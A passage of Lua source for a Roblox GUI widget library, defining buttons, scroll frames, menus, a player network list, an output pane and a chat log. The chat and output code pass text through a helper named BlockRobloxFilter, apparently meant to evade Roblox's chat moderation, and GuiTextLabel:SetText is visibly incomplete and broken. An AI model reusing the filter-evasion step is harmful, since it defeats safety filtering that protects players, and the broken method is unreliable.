GuiButton = setmetatable({}, GuiFrame)
4454
GuiButton.__index = GuiButton
4455
GuiButton.__default = {__index = {
4456
	AutoButtonColor = true
4457
}}
4458
function GuiButton:Destroy()
4459
	self.Activated:disconnect()
4460
	GuiFrame.Destroy(self)
4461
end
4462
function GuiButton:Init(data)
4463
	if data.Active == nil then
4464
		data.Active = true
4465
	end
4466
	GuiFrame.Init(self, data)
4467
	setmetatable(data, GuiButton.__default)
4468
	self.Activated = RbxUtility.CreateSignal()
4469
	self:SetAutoButtonColor(data.AutoButtonColor)
4470
end
4471
function GuiButton:IsA(className)
4472
	return className == "GuiButton" or GuiFrame.IsA(self, className)
4473
end
4474
function GuiButton:SetAutoButtonColor(autoButtonColor)
4475
	if autoButtonColor ~= self.autoButtonColor then
4476
		self.autoButtonColor = autoButtonColor
4477
		if autoButtonColor then
4478
			if self.mouseOver then
4479
				local color = self.color
4480
				local transparency = self.backgroundTransparency
4481
				if self.mouseDown then
4482
					self.m_base_instance.BackgroundColor3 = Color3.new(math.min(color.r + 0.3, 1), math.min(color.g + 0.3, 1), math.min(color.b + 0.3, 1))
4483
					self.m_base_instance.BackgroundTransparency = transparency
4484
				else
4485
					self.m_base_instance.BackgroundColor3 = Color3.new(math.max(color.r - 0.3, 0), math.max(color.g - 0.3, 0), math.max(color.b - 0.3, 0))
4486
					self.m_base_instance.BackgroundTransparency = math.max(0, transparency - 0.5)
4487
				end
4488
			end
4489
		else
4490
			self.m_base_instance.BackgroundColor3 = self.color
4491
		end
4492
	end	
4493
end
4494
GuiTextLabel = setmetatable({}, GuiFrame)
4495
GuiTextLabel.__index = GuiTextLabel
4496
GuiTextLabel.__default = {__index = {
4497
	Font = "ArialBold",
4498
	FontSize = "Size12",
4499
	Text = "",
4500
	TextColor = Color3.new(1, 1, 1),
4501
	TextStrokeColor = Color3.new(0, 0, 0),
4502
	TextStrokeTransparency = 0.6,
4503
	TextWrapped = true
4504
}}
4505
function GuiTextLabel:Destroy()
4506
	GuiFrame.Destroy(self)
4507
end
4508
function GuiTextLabel:Init(data)
4509
	GuiFrame.Init(self, data)
4510
	setmetatable(data, GuiTextLabel.__default)
4511
	local base_instance = self.m_base_instance
4512
	local textLabel = RBXInstance.new "TextLabel" {
4513
		BackgroundTransparency = 1,
4514
		Font = data.Font,
4515
		FontSize = data.FontSize,
4516
		TextColor3 = data.TextColor3,
4517
		TextStrokeColor3 = data.TextStrokeColor3,
4518
		TextStrokeTransparency = data.TextStrokeTransparency,
4519
		TextWrapped = data.TextWrapped
4520
	}
4521
	textLabel.Parent = self:GetContentInstance()
4522
	self.textLabel = textLabel
4523
	self:SetText(data.Text)
4524
end
4525
function GuiTextLabel:IsA(className)
4526
	return className == "GuiTextLabel" or GuiFrame.IsA(self, className)
4527
end
4528
function GuiTextLabel:SetText(text)
4529
	if text ~= self.text then
4530
		self.text = text
4531
		local text_index = 1
4532
		local content_instance = self:GetContentInstance()
4533
		local content_instance_size = content_instance.AbsoluteSize
4534
		local frame = Instance.new("Frame")
4535
		frame.BackgroundTransparency = 1
4536
		local label = Instance.new("TextLabel")
4537
		label.BackgroundTransparency = 1
4538
		label.Font = font
4539
		label.FontSize = fontSize
4540
		label.Size = UDim2.new(0, content_instance_size.X, 0, 1000)
4541
		label.Text = ""
4542
		label.TextColor3 = textColor3
4543
		label.TextTransparency = 1
4544
		label.TextWrapped = true
4545
		label.TextXAlignment = textXAlignment
4546
		label.TextYAlignment = textYAlignment
4547
		label.Parent = self.guiFrame
4548
		local row_length = 0
4549
		local step_size = 256
4550
		for step = 1, 8 do
4551
			step_size = 0.5 * step_size
4552
			label.Text = string.sub(text, text_index, text_index + row_length - 1)
4553
		end
4554
	end
4555
end
4556
GuiImageButton = setmetatable({}, GuiButton)
4557
GuiImageButton.__index = GuiImageButton
4558
GuiImageButton.__default = {__index = {
4559
	Image = ""
4560
}}
4561
function GuiImageButton:Destroy()
4562
	GuiButton.Destroy(self)
4563
end
4564
function GuiImageButton:Init(data)
4565
	GuiButton.Init(self, data)
4566
	setmetatable(data, GuiImageButton.__default)
4567
	local content_frame = self.m_content_frame
4568
	local image_label = RBXInstance.new "ImageLabel" {
4569
		BackgroundTransparency = 1,
4570
		Size = UDim2.new(1, 0, 1, 0)
4571
	}
4572
	image_label.Parent = content_frame
4573
	self.m_image_label = image_label
4574
	self:SetImage(data.Image)
4575
end
4576
function GuiImageButton:IsA(className)
4577
	return className == "GuiImageButton" or GuiButton.IsA(self, className)
4578
end
4579
function GuiImageButton:SetImage(image)
4580
	if image ~= self.m_image then
4581
		self.m_image = image
4582
		self.m_image_label.Image = image
4583
	end	
4584
end
4585
GuiTextButton = setmetatable({}, GuiButton)
4586
GuiTextButton.__index = GuiTextButton
4587
GuiTextButton.__default = {__index = {
4588
	Font = Enum.Font.ArialBold,
4589
	FontSize = Enum.FontSize.Size11,
4590
	Text = "Button",
4591
	TextXAlignment = Enum.TextXAlignment.Center
4592
}}
4593
function GuiTextButton:Destroy()
4594
	GuiButton.Destroy(self)
4595
end
4596
function GuiTextButton:GetTextBounds()
4597
	return self.textLabel.TextBounds
4598
end
4599
function GuiTextButton:Init(data)
4600
	GuiButton.Init(self, data)
4601
	setmetatable(data, GuiTextButton.__default)
4602
	local contentFrame = self.m_content_frame
4603
	local mnemonicLabel = RBXInstance.new "TextLabel" {
4604
		BackgroundTransparency = 1,
4605
		Font = "ArialBold",
4606
		FontSize = "Size36",
4607
		Size = UDim2.new(1, 0, 0.7, 0),
4608
		TextColor3 = Color3.new(1, 1, 1),
4609
		TextStrokeColor3 = Color3.new(0, 0, 0),
4610
		TextStrokeTransparency = 0.6,
4611
		TextWrapped = true
4612
	}
4613
	local textLabel = RBXInstance.new "TextLabel" {
4614
		BackgroundTransparency = 1,
4615
		TextColor3 = Color3.new(1, 1, 1),
4616
		TextStrokeColor3 = Color3.new(0, 0, 0),
4617
		TextStrokeTransparency = 0.6,
4618
		TextWrapped = true
4619
	}
4620
	mnemonicLabel.Parent = contentFrame
4621
	textLabel.Parent = contentFrame
4622
	self.mnemonicLabel = mnemonicLabel
4623
	self.textLabel = textLabel
4624
	self:SetFont(data.Font)
4625
	self:SetFontSize(data.FontSize)
4626
	self:SetMnemonic(data.Mnemonic, true)
4627
	self:SetText(data.Text)
4628
	self:SetTextXAlignment(data.TextXAlignment)
4629
end
4630
function GuiTextButton:IsA(className)
4631
	return className == "GuiTextButton" or GuiButton.IsA(self, className)
4632
end
4633
function GuiTextButton:SetFont(font)
4634
	if font ~= self.font then
4635
		self.font = font
4636
		self.textLabel.Font = font
4637
	end
4638
end
4639
function GuiTextButton:SetFontSize(fontSize)
4640
	if fontSize ~= self.fontSize then
4641
		self.fontSize = fontSize
4642
		self.textLabel.FontSize = fontSize
4643
	end
4644
end
4645
function GuiTextButton:SetMnemonic(mnemonic, forceUpdate)
4646
	if mnemonic ~= self.mnemonic or forceUpdate then
4647
		if self.mnemonic then
4648
			GuiService:SetMnemonic(self.mnemonic, nil)
4649
		end
4650
		if mnemonic then
4651
			GuiService:SetMnemonic(mnemonic, self)
4652
		end
4653
		self.mnemonic = mnemonic
4654
		local mnemonicLabel = self.mnemonicLabel
4655
		local textLabel = self.textLabel
4656
		if mnemonic then
4657
			mnemonicLabel.Text = mnemonic
4658
			textLabel.Size = UDim2.new(1, 0, 0.9, 0)
4659
			textLabel.TextYAlignment = "Bottom"
4660
		else
4661
			mnemonicLabel.Text = ""
4662
			textLabel.Size = UDim2.new(1, 0, 1, 0)
4663
			textLabel.TextYAlignment = "Center"
4664
		end
4665
	end	
4666
end
4667
function GuiTextButton:SetText(text)
4668
	if text ~= self.text then
4669
		self.text = text
4670
		self.textLabel.Text = text
4671
	end	
4672
end
4673
function GuiTextButton:SetTextXAlignment(textXAlignment)
4674
	if textXAlignment ~= self.textXAlignment then
4675
		self.textXAlignment = textXAlignment
4676
		self.textLabel.TextXAlignment = textXAlignment
4677
	end	
4678
end
4679
GuiWindow = setmetatable({}, GuiObject)
4680
GuiWindow.__index = GuiWindow
4681
GuiWindow.__default = {__index = {
4682
	Active = true,
4683
	BackgroundTransparency = 0.5,
4684
	BorderSize = 4,
4685
	BorderTransparency = 0.5,
4686
	Position = UDim2.new(0, 0, 0, 0),
4687
	Size = UDim2.new(0, 360, 0, 240),
4688
	Title = "Window",
4689
	TitleBarBackgroundTransparency = 0.5,
4690
	TitleBarBorderTransparency = 1,
4691
	Visible = true
4692
}}
4693
function GuiWindow:Init(data)
4694
	GuiObject.Init(self)
4695
	setmetatable(data, GuiFrame.__default)
4696
	local title_bar = GuiTextLabel:new {
4697
		BackgroundTransparency = data.TitleBarBackgroundTransparency,
4698
		BorderTransparency = data.TitleBarBackgroundTransparency,
4699
		Text = data.Title
4700
	}
4701
	local content_frame = GuiFrame:new {
4702
		Active = data.Active,
4703
		BackgroundTransparency = data.BackgroundTransparency,
4704
		BorderSize = data.BorderSize,
4705
		BorderTransparency = data.BorderTransparency
4706
	}
4707
	local base_frame = RBXInstance.new "Frame" {
4708
		BackgroundTransparency = 1,
4709
		BorderSizePixel = 0,
4710
		Position = data.Position,
4711
		Size = data.Size,
4712
		Visible = data.Visible
4713
	}
4714
	self.m_base_frame = base_frame
4715
	self.m_content_frame = content_frame
4716
	self.m_title_bar = title_bar
4717
end
4718
function GuiWindow:IsA(className)
4719
	return className == "GuiWindow" or GuiObject.IsA(self, className)
4720
end
4721
GuiScrollFrame = setmetatable({}, GuiFrame)
4722
GuiScrollFrame.__index = GuiScrollFrame
4723
GuiScrollFrame.__default = {__index = {
4724
	ContentHeight = 0,
4725
	ScrollBarColor = Color3.new(1, 1, 1)
4726
}}
4727
function GuiScrollFrame:Destroy()
4728
	self.m_scroll_bar:Destroy()
4729
	GuiFrame.Destroy(self)
4730
end
4731
function GuiScrollFrame:GetContentInstance()
4732
	return self.m_scroll_frame or GuiFrame.GetContentInstance(self)
4733
end
4734
function GuiScrollFrame:Init(data)
4735
	GuiFrame.Init(self, data)
4736
	setmetatable(data, GuiScrollFrame.__default)
4737
	local scroll_pane = RBXInstance.new "Frame" {
4738
		BackgroundColor3 = Color3.new(1, 1, 1),
4739
		BackgroundTransparency = 0.8,
4740
		BorderSizePixel = 0,
4741
		Position = UDim2.new(1, -20, 0, 0),
4742
		Size = UDim2.new(0, 20, 1, 0),
4743
		Parent = self.m_content_frame
4744
	}
4745
	local scroll_bar = GuiFrame:new {
4746
		Active = true,
4747
		BackgroundTransparency = 0.6,
4748
		BorderTransparency = 0.6,
4749
		Color = data.ScrollBarColor,
4750
		Parent = self
4751
	}
4752
	local scroll_frame = RBXInstance.new "Frame" {
4753
		BackgroundTransparency = 1,
4754
		Parent = self.m_content_frame
4755
	}
4756
	self.m_scroll_bar = scroll_bar
4757
	self.m_scroll_frame = scroll_frame
4758
	self.m_scroll_pane = scroll_pane
4759
	self.m_scroll_position = 0
4760
	self.m_updating_content_height = false
4761
	self:SetContentHeight(data.ContentHeight)
4762
	self:UpdateScrollPosition()
4763
	self.m_scroll_bar.DragBegin:connect(function()
4764
		self.m_scroll_drag_total = Vector2.new()
4765
		self.m_scroll_initial_position = self.m_scroll_position
4766
	end)
4767
	self.m_scroll_bar.DragMove:connect(function(offset)
4768
		self.m_scroll_drag_total = self.m_scroll_drag_total + offset
4769
		local absolute_height = self:GetAbsoluteSize().Y - 2 * self.m_border_size
4770
		if absolute_height ~= 0 then
4771
			local content_height = math.max(self.m_content_height, absolute_height)
4772
			local scroll_space = 1 - absolute_height / content_height
4773
			self:Scroll(self.m_scroll_initial_position + self.m_scroll_drag_total.Y * (content_height / absolute_height - 1) / scroll_space)
4774
		end
4775
	end)
4776
end
4777
function GuiScrollFrame:IsA(className)
4778
	return className == "GuiScrollFrame" or GuiFrame.IsA(self, className)
4779
end
4780
function GuiScrollFrame:Scroll(position)
4781
	position = math.min(math.max(position, 0), self.m_content_height - (self:GetAbsoluteSize().Y - 2 * self.m_border_size))
4782
	if position ~= self.m_scroll_position then
4783
		self.m_scroll_position = position
4784
		self:UpdateScrollPosition()
4785
	end
4786
end
4787
function GuiScrollFrame:SetContentHeight(height)
4788
	if height ~= self.m_content_height then
4789
		local prev_height = self.m_content_height
4790
		self.m_content_height = height
4791
		if not self.m_updating_content_height then
4792
			self.m_updating_content_height = true
4793
			coroutine.resume(coroutine.create(function()
4794
				local success, message = ypcall(self.SetContentHeightImpl1, self, prev_height)
4795
				if not success then
4796
					Logger.printf("Severe", "Error in GuiScrollFrame:SetContentHeight(%s): %s", Utility.ToString(height), message)
4797
				end
4798
			end))
4799
		end
4800
	end
4801
end
4802
function GuiScrollFrame:SetContentHeightImpl1(prev_height)
4803
	RunService.RenderStepped:wait()
4804
	self.m_updating_content_height = false
4805
	local height = self.m_content_height
4806
	self.m_scroll_frame.Size = UDim2.new(1, -20, 0, height)
4807
	if prev_height and prev_height ~= 0 then
4808
		local absolute_height = self:GetAbsoluteSize().Y - 2 * self.m_border_size
4809
		if self.m_scroll_position == prev_height - absolute_height then
4810
			self.m_scroll_position = height - absolute_height
4811
		else
4812
			self.m_scroll_position = height * self.m_scroll_position / prev_height
4813
		end
4814
	end
4815
	self:UpdateScrollPosition()
4816
end
4817
function GuiScrollFrame:UpdateScrollPosition()
4818
	local absolute_height = self:GetAbsoluteSize().Y - 2 * self.m_border_size
4819
	if absolute_height == 0 then
4820
		absolute_height = self.m_content_height
4821
	end
4822
	local scroll_bar = self.m_scroll_bar
4823
	local scroll_frame = self.m_scroll_frame
4824
	local scroll_pane = self.m_scroll_pane
4825
	local content_height = math.max(self.m_content_height, absolute_height)
4826
	if absolute_height == content_height then
4827
		scroll_frame.Position = UDim2.new(0, 0, 0, 0)
4828
		scroll_frame.Size = UDim2.new(1, 0, 1, 0)
4829
		scroll_bar:SetVisible(false)
4830
		scroll_pane.Visible = false
4831
	else
4832
		local contentScale = content_height / absolute_height
4833
		local scroll_space = 1 - absolute_height / content_height
4834
		local scroll_position = self.m_scroll_position
4835
		scroll_frame.Position = UDim2.new(0, 0, 0, -scroll_position)
4836
		scroll_bar:SetPosition(UDim2.new(1, -20, scroll_position / (content_height - absolute_height) * scroll_space, 0))
4837
		scroll_bar:SetSize(UDim2.new(0, 20, absolute_height / content_height, 0))
4838
		scroll_bar:SetVisible(true)
4839
		scroll_pane.Visible = true
4840
	end
4841
end
4842
GuiMenu = setmetatable({}, GuiFrame)
4843
GuiMenu.__index = GuiMenu
4844
GuiMenu.__default = {__index = {
4845
	VerticalSpacing = 18
4846
}}
4847
function GuiMenu:AddItem(text, onClick, options)
4848
	local frameSize = self:GetSize()
4849
	local frameHeight = frameSize.Y.Offset - self.m_border_size * 2
4850
	local verticalSpacing = self.verticalSpacing
4851
	local properties = {
4852
		BackgroundTransparency = 0.75,
4853
		BorderSize = 0,
4854
		BorderTransparency = 1,
4855
		Color = (#self.menuItems % 2 == 1) and Color3.new(0.25, 0.25, 0.25) or Color3.new(0, 0, 0),
4856
		FontSize = Enum.FontSize.Size12,
4857
		Position = UDim2.new(0, 0, 0, frameHeight),
4858
		Size = UDim2.new(1, 0, 0, verticalSpacing),
4859
		Text = text,
4860
		Parent = self
4861
	}
4862
	if options then
4863
		for key, value in pairs(options) do
4864
			properties[key] = value
4865
		end
4866
	end
4867
	local menuItem = GuiTextButton:new(properties)
4868
	if onClick then
4869
		menuItem.Activated:connect(function()
4870
			if not onClick(text, self) then
4871
				self:Destroy()
4872
			end
4873
		end)
4874
	end
4875
	self.menuItems[#self.menuItems + 1] = menuItem
4876
	self:SetSize(frameSize + UDim2.new(0, 0, 0, verticalSpacing))
4877
end
4878
function GuiMenu:ClearItems()
4879
	local menuItems = self.menuItems
4880
	for _, item in ipairs(menuItems) do
4881
		menuItems[item] = nil
4882
		item:Destroy()
4883
	end
4884
	local frameSize = self:GetSize()
4885
	self:SetSize(frameSize + UDim2.new(0, 0, 0, self.m_border_size * 2 - frameSize.Y.Offset))
4886
end
4887
function GuiMenu:Destroy()
4888
	self:ClearItems()
4889
	GuiFrame.Destroy(self)
4890
end
4891
function GuiMenu:Init(data)
4892
	GuiFrame.Init(self, data)
4893
	setmetatable(data, GuiMenu.__default)
4894
	self.menuItems = {}
4895
	self.verticalSpacing = data.VerticalSpacing
4896
end
4897
function GuiMenu:IsA(className)
4898
	return className == "GuiMenu" or GuiFrame.IsA(self, className)
4899
end
4900
GuiTextList = setmetatable({}, GuiScrollFrame)
4901
GuiTextList.__index = GuiTextList
4902
GuiTextList.__default = {__index = {
4903
}}
4904
function GuiTextList:AddItem(text, options)
4905
	local properties = {
4906
		BackgroundTransparency = 1,
4907
		Font = "ArialBold",
4908
		FontSize = "Size12",
4909
		Position = UDim2.new(0, 4, 0, self.m_content_height),
4910
		Size = UDim2.new(1, -8, 0, 12),
4911
		Text = tostring(text),
4912
		TextColor3 = Color3.new(1, 1, 1),
4913
		TextStrokeTransparency = 0.6,
4914
		TextWrapped = true,
4915
		TextXAlignment = "Left",
4916
		Parent = self:GetContentInstance()
4917
	}
4918
	if options then
4919
		for key, value in pairs(options) do
4920
			properties[key] = value
4921
		end
4922
	end
4923
	local textLabel = RBXInstance.new "TextLabel" (properties)
4924
	textLabel.Size = UDim2.new(1, 0, 0, textLabel.TextBounds.Y)
4925
	self.listItems[#self.listItems + 1] = textLabel
4926
	self:SetContentHeight(self.m_content_height + textLabel.TextBounds.Y)
4927
end
4928
function GuiTextList:ClearItems()
4929
	local listItems = self.listItems
4930
	for _, item in ipairs(listItems) do
4931
		listItems[item] = nil
4932
		item:Destroy()
4933
	end
4934
	self:SetContentHeight(0)
4935
end
4936
function GuiTextList:Destroy()
4937
	self:ClearItems()
4938
	GuiScrollFrame.Destroy(self)
4939
end
4940
function GuiTextList:Init(data)
4941
	GuiScrollFrame.Init(self, data)
4942
	self.listItems = {}
4943
end
4944
function GuiTextList:IsA(className)
4945
	return className == "GuiTextList" or GuiScrollFrame.IsA(self, className)
4946
end
4947
GuiNetworkList = setmetatable({}, GuiTextList)
4948
GuiNetworkList.__index = GuiNetworkList
4949
function GuiNetworkList:AddItem(systemTime, idleTime, userName, isNil)
4950
	local frame = GuiFrame:new {
4951
		BackgroundTransparency = 1,
4952
		BorderSize = 0,
4953
		BorderTransparency = 1,
4954
		Position = UDim2.new(0, 4, 0, self.m_content_height),
4955
		Size = UDim2.new(1, -8, 0, 14),
4956
	}
4957
	local systemTimeColor
4958
	if string.sub(systemTime, 1, 1) == "?" then
4959
		systemTimeColor = Color3.new(1, 0.75, 0.75)
4960
	else
4961
		systemTimeColor = Color3.new(0.75, 0.75, 1)
4962
	end
4963
	local systemTimeLabel = RBXInstance.new "TextLabel" {
4964
		BackgroundTransparency = 1,
4965
		Font = "ArialBold",
4966
		FontSize = "Size12",
4967
		Position = UDim2.new(0, 0, 0, 0),
4968
		Size = UDim2.new(0, 50, 1, 0),
4969
		Text = systemTime,
4970
		TextColor3 = systemTimeColor,
4971
		TextStrokeTransparency = 0.6,
4972
		TextXAlignment = "Left",
4973
		Parent = frame:GetContentInstance()
4974
	}
4975
	local idle_time_color
4976
	if string.sub(idleTime, 1, 1) == "0" then
4977
		idle_time_color = Color3.new(1, 1, 1)
4978
	else
4979
		idle_time_color = Color3.new(1, 0.75, 0.75)
4980
	end
4981
	local idleTimeLabel = RBXInstance.new "TextLabel" {
4982
		BackgroundTransparency = 1,
4983
		Font = "ArialBold",
4984
		FontSize = "Size12",
4985
		Position = UDim2.new(0, 40, 0, 0),
4986
		Size = UDim2.new(0, 45, 1, 0),
4987
		Text = idleTime,
4988
		TextColor3 = idle_time_color,
4989
		TextStrokeTransparency = 0.6,
4990
		TextXAlignment = "Right",
4991
		Parent = frame:GetContentInstance()
4992
	}
4993
	local userNameLabel = GuiTextButton:new {
4994
		AutoButtonColor = false,
4995
		BackgroundTransparency = 1,
4996
		BorderSize = 0,
4997
		BorderTransparency = 1,
4998
		Font = Enum.Font.SourceSansBold,
4999
		FontSize = Enum.FontSize.Size14,
5000
		Position = UDim2.new(0, 98, 0, 0),
5001
		Size = UDim2.new(1, -98, 1, 0),
5002
		TextXAlignment = Enum.TextXAlignment.Left,
5003
		Text = userName,
5004
		Parent = frame
5005
	}
5006
	frame:SetParent(self)
5007
	local userNameWidth = userNameLabel:GetTextBounds().X
5008
	userNameLabel:SetSize(UDim2.new(0, userNameWidth + 4, 1, 0))
5009
	if isNil then
5010
		local isNilLabel = RBXInstance.new "TextLabel" {
5011
			BackgroundTransparency = 1,
5012
			Font = "SourceSans",
5013
			FontSize = "Size14",
5014
			Position = UDim2.new(0, 100 + userNameWidth + 8, 0, 0),
5015
			Size = UDim2.new(0, 50, 1, 0),
5016
			Text = "(nil)",
5017
			TextColor3 = Color3.new(1, 0.4, 0.4),
5018
			TextStrokeTransparency = 0.6,
5019
			TextXAlignment = "Left",
5020
			Parent = frame:GetContentInstance()
5021
		}
5022
	end
5023
	self.listItems[#self.listItems + 1] = frame
5024
	self:SetContentHeight(self.m_content_height + 14)
5025
end
5026
function GuiNetworkList:IsA(className)
5027
	return className == "GuiNetworkList" or GuiTextList.IsA(self, className)
5028
end
5029
GuiTextOutput = setmetatable({}, GuiScrollFrame)
5030
GuiTextOutput.__index = GuiTextOutput
5031
GuiTextOutput.__default = {__index = {
5032
	DisplayMaxLines = 120,
5033
	DisplayWidth = 0
5034
}}
5035
function GuiTextOutput:Init(data)
5036
	GuiScrollFrame.Init(self, data)
5037
	setmetatable(data, GuiTextOutput.__default)
5038
	self.displayMaxLines = data.DisplayMaxLines
5039
	self.displayWidth = data.DisplayWidth
5040
	self.displayItems = {}
5041
	self:SetBackgroundTransparency(0)
5042
	self:SetColor(Color3.new(1, 1, 1))
5043
	self.m_scroll_pane.BackgroundColor3 = Color3.new(0.5, 0.5, 0.5)
5044
end
5045
function GuiTextOutput:IsA(className)
5046
	return className == "GuiTextOutput" or GuiScrollFrame.IsA(self, className)
5047
end
5048
function GuiTextOutput:Print(...)
5049
	self:PrintFormat(nil, ...)
5050
end
5051
function GuiTextOutput:PrintFormat(options, ...)
5052
	local buffer = {}
5053
	local args = {...}
5054
	local first = true
5055
	for i = 1, select("#", ...) do
5056
		buffer[i] = tostring(args[i])
5057
	end
5058
	message = Utility.BlockRobloxFilter(table.concat(buffer, "\t"))
5059
	local properties = {
5060
		BackgroundTransparency = 1,
5061
		Font = "ArialBold",
5062
		FontSize = "Size12",
5063
		Position = UDim2.new(0, 4, 0, self.m_content_height),
5064
		Text = message,
5065
		TextColor3 = Color3.new(1, 1, 1),
5066
		TextWrapped = true,
5067
		TextXAlignment = "Left",
5068
		TextYAlignment = "Bottom",
5069
		Parent = self:GetContentInstance()
5070
	}
5071
	if options then
5072
		for key, value in pairs(options) do
5073
			properties[key] = value
5074
		end
5075
	end
5076
	local textBounds = GuiService:GetTextBounds(message, properties.Font, properties.FontSize, properties.TextXAlignment, properties.TextYAlignment, 
5077
5078
self.displayWidth - 20)
5079
	local textHeight = textBounds.Y
5080
	properties.Size = UDim2.new(0, self.displayWidth - 8, 0, textBounds.Y)
5081
	local textLabel = RBXInstance.new "TextLabel" (properties)
5082
	self.displayItems[#self.displayItems + 1] = textLabel
5083
	local maxLines = self.displayMaxLines
5084
	local maxHeight = maxLines * 12
5085
	local newHeight = self.m_content_height + textHeight
5086
	if newHeight > maxHeight then
5087
		local offset = 0
5088
		local newList = {}
5089
		local oldList = self.displayItems
5090
		for index, child in ipairs(oldList) do
5091
			local childOffset = child.Size.Y.Offset
5092
			if newHeight > maxHeight then
5093
				offset = offset + childOffset
5094
				newHeight = newHeight - childOffset
5095
				child:Destroy()
5096
			else
5097
				child.Position = child.Position - UDim2.new(0, 0, 0, offset)
5098
				newList[#newList + 1] = child
5099
			end
5100
		end
5101
		self.displayItems = newList
5102
	end
5103
	self:SetContentHeight(newHeight)
5104
end
5105
GuiChatLog = setmetatable({}, GuiScrollFrame)
5106
GuiChatLog.__index = GuiChatLog
5107
GuiChatLog.__default = {__index = {
5108
	DisplayMaxLines = 200,
5109
	DisplayWidth = 0,
5110
}}
5111
function GuiChatLog:Chat(speaker, message)
5112
	local speaker_color = AdvancedGUI.GenerateChatColor(speaker)
5113
	speaker = Utility.BlockRobloxFilter(speaker)
5114
	message = "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" .. Utility.BlockRobloxFilter(message)
5115
	local timestamp = Utility.GetTimestamp()
5116
	local textBounds = GuiService:GetTextBounds(message, "ArialBold", "Size12", "Left", "Bottom", self.displayWidth - 8)
5117
	local textHeight = math.max(math.min(textBounds.Y, 36), 12)
5118
	local message_frame = RBXInstance.new "Frame" {
5119
		BackgroundTransparency = 1,
5120
		Position = UDim2.new(0, 0, 0, self.m_content_height),
5121
		Size = UDim2.new(0, self.displayWidth, 0, textHeight),
5122
		Parent = self:GetContentInstance()
5123
	}
5124
	local timestamp_label = RBXInstance.new "TextLabel" {
5125
		BackgroundTransparency = 1,
5126
		Font = "ArialBold",
5127
		FontSize = "Size12",
5128
		Position = UDim2.new(0, 4, 0, 0),
5129
		Size = UDim2.new(1, -8, 0, 12),
5130
		Text = timestamp,
5131
		TextColor3 = Color3.new(0.75, 0.75, 0.75),
5132
		TextStrokeTransparency = 0.6,
5133
		TextWrapped = true,
5134
		TextXAlignment = "Left",
5135
		Parent = message_frame
5136
	}
5137
	local speaker_label = RBXInstance.new "TextLabel" {
5138
		BackgroundTransparency = 1,
5139
		Font = "ArialBold",
5140
		FontSize = "Size12",
5141
		Position = UDim2.new(0, 64, 0, 0),
5142
		Size = UDim2.new(0, 100, 0, 12),
5143
		Text = speaker,
5144
		TextColor3 = speaker_color,
5145
		TextStrokeTransparency = 0.6,
5146
		Parent = message_frame
5147
	}
5148
	local message_label = RBXInstance.new "TextLabel" {
5149
		BackgroundTransparency = 1,
5150
		Font = "ArialBold",
5151
		FontSize = "Size12",
5152
		Position = UDim2.new(0, 4, 0, 0),
5153
		Size = UDim2.new(1, -8, 1, 0),
5154
		Text = message,
5155
		TextColor3 = Color3.new(1, 1, 1),
5156
		TextStrokeTransparency = 0.6,
5157
		TextXAlignment = "Left",
5158
		TextYAlignment = "Bottom",
5159
		TextWrapped = true,
5160
		Parent = message_frame
5161
	}
5162
	self.displayItems[#self.displayItems + 1] = message_frame
5163
	local maxLines = self.displayMaxLines
5164
	local maxHeight = maxLines * 12
5165
	local newHeight = self.m_content_height + textHeight
5166
	if newHeight > maxHeight then
5167
		local offset = 0
5168
		local newList = {}
5169
		local oldList = self.displayItems
5170
		for index, child in ipairs(oldList) do
5171
			local childOffset = child.Size.Y.Offset
5172
			if newHeight > maxHeight then
5173
				offset = offset + childOffset
5174
				newHeight = newHeight - childOffset
5175
				child:Destroy()
5176
			else
5177
				child.Position = child.Position - UDim2.new(0, 0, 0, offset)
5178
				newList[#newList + 1] = child
5179
			end
5180
		end
5181
		self.displayItems = newList
5182
	end
5183
	self:SetContentHeight(newHeight)
5184
end
5185
function GuiChatLog:Init(data)
5186
	GuiScrollFrame.Init(self, data)
5187
	setmetatable(data, GuiChatLog.__default)
5188
	self.displayMaxLines = data.DisplayMaxLines
5189
	self.displayWidth = data.DisplayWidth
5190
	self.displayItems = {}
5191
end
5192
function GuiChatLog:IsA(className)
5193
	return className == "GuiChatLog" or GuiScrollFrame.IsA(self, className)
5194
end
5195
GuiSeperator = setmetatable({}, GuiObject)
5196
GuiSeperator.__index = GuiSeperator
5197
GuiSeperator.__default = {__index = {
5198
	Active = false,
5199
	Position = UDim2.new(0, 0, 0, 0),
5200
	Size = UDim2.new(1, 0, 0, 16),
5201
	Visible = true
5202
}}
5203
function GuiSeperator:Init(data)
5204
	GuiObject.Init(self)
5205
	setmetatable(data, GuiSeperator.__default)
5206
	local base_frame = RBXInstance.new "Frame" {
5207
		BackgroundTransparency = 1,
5208
		RBXInstance.new "Frame" {
5209
			BackgroundColor3 = Color3.new(1, 1, 1),
5210
			BackgroundTransparency = 0.25,
5211
			BorderSizePixel = 0,
5212
			Position = UDim2.new(0.5, -13, 0.5, -1),
5213
			Size = UDim2.new(0, 3, 0, 3),
5214
			RBXInstance.new "Frame" {
5215
				BackgroundColor3 = Color3.new(0, 0, 0),
5216
				BackgroundTransparency = 0.75,
5217
				BorderSizePixel = 0,
5218
				Position = UDim2.new(0, -1, 0, -1),
5219
				Size = UDim2.new(0, 5, 0, 5)
5220
			}
5221
		},
5222
		RBXInstance.new "Frame" {
5223
			BackgroundColor3 = Color3.new(1, 1, 1),
5224
			BackgroundTransparency = 0.25,
5225
			BorderSizePixel = 0,
5226
			Position = UDim2.new(0.5, -1, 0.5, -1),
5227
			Size = UDim2.new(0, 3, 0, 3),
5228
			RBXInstance.new "Frame" {
5229
				BackgroundColor3 = Color3.new(0, 0, 0),
5230
				BackgroundTransparency = 0.75,
5231
				BorderSizePixel = 0,
5232
				Position = UDim2.new(0, -1, 0, -1),
5233
				Size = UDim2.new(0, 5, 0, 5)
5234
			}
5235
		},
5236
		RBXInstance.new "Frame" {
5237
			BackgroundColor3 = Color3.new(1, 1, 1),
5238
			BackgroundTransparency = 0.25,
5239
			BorderSizePixel = 0,
5240
			Position = UDim2.new(0.5, 11, 0.5, -1),
5241
			Size = UDim2.new(0, 3, 0, 3),
5242
			RBXInstance.new "Frame" {
5243
				BackgroundColor3 = Color3.new(0, 0, 0),
5244
				BackgroundTransparency = 0.75,
5245
				BorderSizePixel = 0,
5246
				Position = UDim2.new(0, -1, 0, -1),
5247
				Size = UDim2.new(0, 5, 0, 5)
5248
			}
5249
		}
5250
	}
5251
	self.m_base_instance = base_frame
5252
	self:SetActive(data.Active)
5253
	self:SetPosition(data.Position)
5254
	self:SetSize(data.Size)
5255
	self:SetVisible(data.Visible)
5256
	self:SetParent(data.Parent)
5257
end
5258
